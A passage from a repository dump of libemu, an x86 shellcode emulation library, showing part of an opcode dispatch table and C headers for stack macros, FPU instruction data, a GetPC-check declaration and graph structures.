0, 0, 0}},\n\t/* 19 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 1f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 20 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 21 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 22 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 23 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 24 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 25 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 26 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 27 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 28 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 29 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 2f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 30 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 31 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 32 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 33 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 34 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 35 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 36 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 37 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 38 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 39 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 3f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 40 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 41 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 42 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 43 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 44 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 45 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 46 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 47 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 48 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 49 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 4f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 50 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 51 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 52 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 53 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 54 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 55 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 56 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 57 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 58 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 59 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 5f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 60 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 61 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 62 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 63 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 64 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 65 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 66 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 67 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 68 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 69 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 6f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 70 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 71 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 72 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 73 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 74 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 75 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 76 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 77 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 78 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 79 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 7a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 7b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 7c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 7d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 7e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 7f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 80 */ {instr_jcc_0f80, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 81 */ {instr_jcc_0f81, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 82 */ {instr_jcc_0f82, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 83 */ {instr_jcc_0f83, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 84 */ {instr_jcc_0f84, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 85 */ {instr_jcc_0f85, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 86 */ {instr_jcc_0f86, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 87 */ {instr_jcc_0f87, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 88 */ {instr_jcc_0f88, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 89 */ {instr_jcc_0f89, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 8a */ {instr_jcc_0f8a, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 8b */ {instr_jcc_0f8b, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 8c */ {instr_jcc_0f8c, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 8d */ {instr_jcc_0f8d, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 8e */ {instr_jcc_0f8e, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 8f */ {instr_jcc_0f8f, \"jcc\", {0, 0, 0, 0, II_DISPF, 0, 0, 0}},\n\t/* 90 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 91 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 92 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 93 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 94 */ {instr_setcc_0f94, \"setz\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 95 */ {instr_setcc_0f95, \"setnz\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* 96 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 97 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 98 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 99 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* 9f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a2 */ {instr_cpuid_0fa2, \"cpuid\", {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* a9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* aa */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ab */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ac */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ad */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ae */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* af */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b6 */ {instr_movzx_0fb6, \"movzx\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},   \n\t/* b7 */ {instr_movzx_0fb7, \"movzx\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},   \n\t/* b8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* b9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ba */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* bb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* bc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* bd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* be */ {instr_movsx_0fbe, \"movsx\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* bf */ {instr_movsx_0fbf, \"movsx\", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}},\n\t/* c0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* c9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ca */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ce */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* cf */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* d9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* da */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* db */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* dc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* dd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* de */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* df */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* e9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ea */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* eb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ec */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ed */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ee */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ef */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* f9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fa */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* fe */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n\t/* ff */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}},\n};\n\n\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_cpu_stack.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef EMU_CPU_STACK_H_\n#define EMU_CPU_STACK_H_\n\n#define PUSH_DWORD(cpu, arg)\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuint32_t pushme;\t\t\t\t\t\t\t\t\t\\\n\tbcopy(&(arg),  &pushme, 4);\t\t\t\t\t\t\t\\\n\tif (cpu->reg[esp] < 4)\t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\temu_errno_set((cpu)->emu, ENOMEM);\t\t\t\t\\\n\t\temu_strerror_set((cpu)->emu,\t\t\t\t\t\\\n\t\t\"ran out of stack space writing a dword\\n\");\t\\\n\t\treturn -1;\t\t\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tcpu->reg[esp]-=4;\t\t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\tint32_t memret = emu_memory_write_dword(cpu->mem, cpu->reg[esp], pushme);\t\\\n\t\tif (memret != 0)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\treturn memret;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n}\n\n\n#define PUSH_WORD(cpu, arg)\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuint16_t pushme;\t\t\t\t\t\t\t\t\t\\\n\tbcopy(&(arg),  &pushme, 2);\t\t\t\t\t\t\t\\\n\tif (cpu->reg[esp] < 2)\t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\temu_errno_set((cpu)->emu, ENOMEM);\t\t\t\t\\\n\t\temu_strerror_set((cpu)->emu,\t\t\t\t\t\\\n\t\t\"ran out of stack space writing a word\\n\");\t\t\\\n\t\treturn -1;\t\t\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tcpu->reg[esp]-=2;\t\t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\tint32_t memret = emu_memory_write_word(cpu->mem, cpu->reg[esp], pushme);\\\n\t\tif (memret != 0)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\treturn memret;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n}\n\n\n\n#define PUSH_BYTE(cpu, arg)\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuint8_t pushme = arg;\t\t\t\t\t\t\t\t\\\n\tif (cpu->reg[esp] < 1)\t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\temu_errno_set((cpu)->emu, ENOMEM);\t\t\t\t\\\n\t\temu_strerror_set((cpu)->emu,\t\t\t\t\t\\\n\t\t\"ran out of stack space writing a byte\\n\");\t\t\\\n\t\treturn -1;\t\t\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tcpu->reg[esp]-=1;\t\t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\tint32_t memret = emu_memory_write_byte(cpu->mem, cpu->reg[esp], pushme);\t\\\n\t\tif (memret != 0)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\treturn memret;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n}\n\n\n#define POP_DWORD(cpu, dst_p) \\\n{ int32_t ret = emu_memory_read_dword(cpu->mem, cpu->reg[esp], dst_p); \\\nif( ret != 0 ) \\\n\treturn ret; \\\nelse \\\n  if ( dst_p != &cpu->reg[esp] ) \\\n  \tcpu->reg[esp] += 4; }\n\n#define POP_WORD(cpu, dst_p) \\\n{ int32_t ret = emu_memory_read_word(cpu->mem, cpu->reg[esp], dst_p); \\\nif( ret != 0 ) \\\n\treturn ret; \\\nelse \\\n\tcpu->reg[esp] += 2; }\n\n#define POP_BYTE(cpu, dst_p) \\\n{ int32_t ret = emu_memory_read_byte(cpu->mem, cpu->reg[esp], dst_p); \\\nif( ret != 0 ) \\\n\treturn ret; \\\nelse \\\n\tcpu->reg[esp] += 1; }\n\n\n\n#endif /*EMU_CPU_STACK_H_*/\n"
  },
  {
    "path": "include/emu/emu_fpu_instruction.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_FPU_INSTRUCTION_H\n#define HAVE_EMU_FPU_INSTRUCTION_H\n\n#define FPU_MOD(fpu) (fpu[1] >> 6)\n#define FPU_RM(fpu) (fpu[1] & 7)\n\n#define FPU_MF(fpu) ((fpu[0] >> 1) & 3)\n\nstruct emu_fpu_instruction\n{\n\tuint16_t prefixes;\n\t\n\tuint8_t fpu_data[2]; /* TODO: split into correct fields */\n\tuint32_t ea;\n\t\n\tuint32_t last_instr;\n\n};\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_getpc.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n\n#include <stdint.h>\n\n/**\n * \n * @param e\n * @param data\n * @param size\n * @param offset\n * \n * @return 1 for getpc via call or fnstenv\n *         2 for mov withing fs: segment\n */\nuint8_t emu_getpc_check(struct emu *e, uint8_t *data, uint32_t size, uint32_t offset);\n"
  },
  {
    "path": "include/emu/emu_graph.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\n#include \"emu/emu_list.h\"\n\nstruct emu_vertex;\n\nheader_list_typedefs(emu_edge_root,emu_edge,emu_edge_link);\n\n/**\n * The edge connects two vertexes.\n * \n * The following fields of a emu_vertex are to your own purpose:\n *  - data, attach your own data.\n * \n * @see emu_vertex\n * @see emu_graph\n */\nstruct emu_edge\n{\n\tstruct emu_vertex *destination;\n\temu_edge_link link;\n\tuint32_t count;\n\tvoid *data;\n};\n\nheader_list_functions(emu_edges,emu_edge_root, emu_edge, link);\n\nstruct emu_edge *emu_edge_new(void);\nvoid emu_edge_free(struct emu_edge *ee);\n\n\nheader_list_typedefs(emu_vertex_root,emu_vertex,emu_vertex_link);\nheader_list_functions(emu_vertexes,emu_vertex_root, emu_vertex, 